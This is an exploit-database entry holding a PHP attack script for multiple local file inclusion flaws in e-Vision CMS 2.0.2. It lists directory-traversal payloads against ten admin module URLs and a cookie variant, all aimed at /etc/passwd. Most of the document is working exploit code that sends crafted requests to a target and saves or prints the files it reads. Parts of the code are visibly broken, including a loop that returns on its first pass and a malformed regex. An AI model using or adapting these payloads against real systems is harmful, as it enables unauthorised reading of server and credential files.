e-Vision CMS 2.0.2 - Multiple Local File Inclusions

Author:

StAkeR

Type:

webapps

Platform:

PHP

Published:

2008-11-07

<?php

error_reporting(0);
ini_set("default_socket_timeout",5);




/*
    e-Vision <= 2.0.2 Multiple Local File Inclusion Exploit
    -------------------------------------------------------
    by athos - download http://sourceforge.net 
    -------------------------------------------------------
    Works with magic quotes gpc turned off
    
    
    javascript: document.cookie="adminlang=../../../../etc/passwd";
    modules/3rdparty/adminpart/add3rdparty.php?module=../../../../../../etc/passwd
    modules/polling/adminpart/addpolling.php?module=../../../../../etc/passwd
    modules/contact/adminpart/addcontact.php?module=../../../../etc/passwd
    modules/brandnews/adminpart/addbrandnews.php?module=../../../etc/passwd
    modules/newsletter/adminpart/addnewsletter.php?module=../../../../etc/passwd
    modules/game/adminpart/addgame.php?module=../../../../etc/passwd
    modules/tour/adminpart/addtour.php?module=../../../etc/passwd
    modules/articles/adminpart/addarticles.php?module=../../../../etc/passwd
    modules/product/adminpart/addproduct.php?module=../../../../etc/passwd
    modules/plain/adminpart/addplain.php?module=../../../../../etc/passwd

    ../../etc/passwd and nullbyte
    
    how to fix? addslashes($_GET['module']); so you remove the nullbyte...isn't a good fix
    
    
    coded by me
    
    
*/    

$exploit = new Exploit;
$domain = $argv[1];
$mymode = $argv[2];

$exploit->starting();
$exploit->is_vulnerable($domain);
$exploit->exploiting($domain,$mymode);

 

class Exploit
{
  function http_request($host,$data) 
  {   
   
    if(!$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) 
    {
       echo "socket_create() error!\r\n";
       exit;
    }
    if(!socket_set_option($socket,SOL_SOCKET,SO_BROADCAST,1))
    { 
      echo "socket_set_option() error!\r\n";
      exit;
    }
    
    if(!socket_connect($socket,$host,80))
    {
      echo "socket_connect() error!\r\n";
      exit;
    }
    if(!socket_write($socket,$data,strlen($data)))
    {
      echo "socket_write() errror!\r\n";
      exit;
    }
  
    while($get = socket_read($socket,1024,PHP_NORMAL_READ)) 
    { 
      $content .= $get; 
    }

    socket_close($socket);
  
    $array = array(
                 'HTTP/1.1 404 Not Found',
                 'HTTP/1.1 300 Multiple Choices',
                 'HTTP/1.1 301 Moved Permanently',
                 'HTTP/1.1 302 Found',
                 'HTTP/1.1 304 Not Modified',
                 'HTTP/1.1 400 Bad Request',
                 'HTTP/1.1 401 Unauthorized',
                 'HTTP/1.1 402 Payment Required',
                 'HTTP/1.1 403 Forbidden',
                 'HTTP/1.1 405 Method Not Allowed',
                 'HTTP/1.1 406 Not Acceptable',
                 'HTTP/1.1 407 Proxy Authentication Required',
                 'HTTP/1.1 408 Request Timeout',
                 'HTTP/1.1 409 Conflict',
                 'HTTP/1.1 410 Gone',
                 'HTTP/1.1 411 Length Required',
                 'HTTP/1.1 412 Precondition Failed',
                 'HTTP/1.1 413 Request Entity Too Large',
                 'HTTP/1.1 414 Request-URI Too Long',
                 'HTTP/1.1 415 Unsupported Media Type',
                 'HTTP/1.1 416 Request Range Not Satisfiable',
                 'HTTP/1.1 417 Expectation Failed',
                 'HTTP/1.1 Retry With',
                );
               
    for($i=0;$i<=count($array);$i++)
   
    if(eregi($array[$i],$content)) 
    {
      return ("$array[$i]\r\n");
      break;
    } 
    else 
    {
      return ("$content\r\n");
      break;
    }
  }
  
  function is_vulnerable($host)
  {
    $host = explode('/',$host);
    
    $header .= "GET /$host[1]/modules/3rdparty/adminpart/add3rdparty.php?module=%27 HTTP/1.1\r\n";
    $header .= "Host: $host[0]\r\n";
    $header .= "User-Agent: athos~doesntexist\r\n";
    $header .= "Connection: close\r\n\r\n";
    
    if(stristr($this->http_request($host[0],$header),"\\'"))
    {  
      echo "[+] Magic Quotes GPC On!\n";
      echo "[+] Exploit Failed!\n";
      exit;
    }
    else
    {
      return false;
    }
  }
  
  function starting()
  {
    global $argv;
    
    if(preg_match('/http://(.+?)$/',$argv[1]) or empty($argv[1]))
    {
      echo "[+] e-Vision <= 2.0.2 Multiple Local File Inclusion Exploit\r\n";
      echo "[+] by athos\r\n";
      echo "    -----------------------------------------------------------\r\n";
      echo "[+] Usage: php $argv[0] [host/path] [mode]\r\n";
      echo "[+] Usage: php $argv[0] [host/path] [save]\r\n";
      echo "[+] Usage: php $argv[0] [host/path]        \r\n";
      exit;
    }
  }
  
  function exploiting($host,$mode)
  {
    $host = explode('/',$host);
    $i = 0;
    
    
    echo "[+] Local File (ex: ../../etc/passwd%00)\r\n";
    echo "[+] Local File: ";
    $file = stripslashes(trim(fgets(STDIN)));
    
    if(empty($file)) die("you fail");
    
    $array = array (
                    "3rdparty/adminpart/add3rdparty.php?module=$file",
                    "polling/adminpart/addpolling.php?module=$file",
                    "contact/adminpart/addcontact.php?module=$file",
                    "brandnews/adminpart/addbrandnews.php?module=$file",
                    "newsletter/adminpart/addnewsletter.php?module=$file",
                    "game/adminpart/addgame.php?module=$file",
                    "tour/adminpart/addtour.php?module=$file",
                    "articles/adminpart/addarticles.php?module=$file",
                    "product/adminpart/addproduct.php?module=$file",
                    "plain/adminpart/addplain.php?module=$file",
                  ); 
                  
    if($i > 9)
    {
      $write .= "GET /$host[1]/admin/ind_ex.php HTTP/1.1\r\n";
      $write .= "Host: $host[0]\r\n";
      $write .= "User-Agent: doesntexist\r\n";
      $write .= "Cookie: adminlang=$file; path=/admin\r\n";
      $write .= "Connection: close\r\n\r\n";
    }
    else
    {

      $write .= "GET /$host[1]/modules/$array[$i] HTTP/1.1\r\n";
      $write .= "Host: $host[0]\r\n";
      $write .= "User-Agent: you are lost\r\n";
      $write .= "Connection: close\r\n\r\n";
    }
    
    if(stristr($this->http_request($host[0],$write),'No such file or directory in'))
    {
      $i++;
    }
    else
    {
      if($mode == "save") 
      {
        $rand = rand(0,99999);
        fclose(fwrite(fopen(getcwd().'/'.$rand.'.txt',"a+"),$this->http_request($host[0],$write)));
        
        echo "[+] File $rand Saved Successfully!\r\n";
        echo "[+] Exploit Terminated!\r\n";
        exit;
      }
      else
      {
        echo $this->http_request($host[0],$write);
        exit;
      }
    }
  }
}
  
  
// StAkeR - StAkeR[at]hotmail[dot]it
// Note: if you add on msn i don't accept!       
// Greetz "er biondo"

# milw0rm.com [2008-11-07]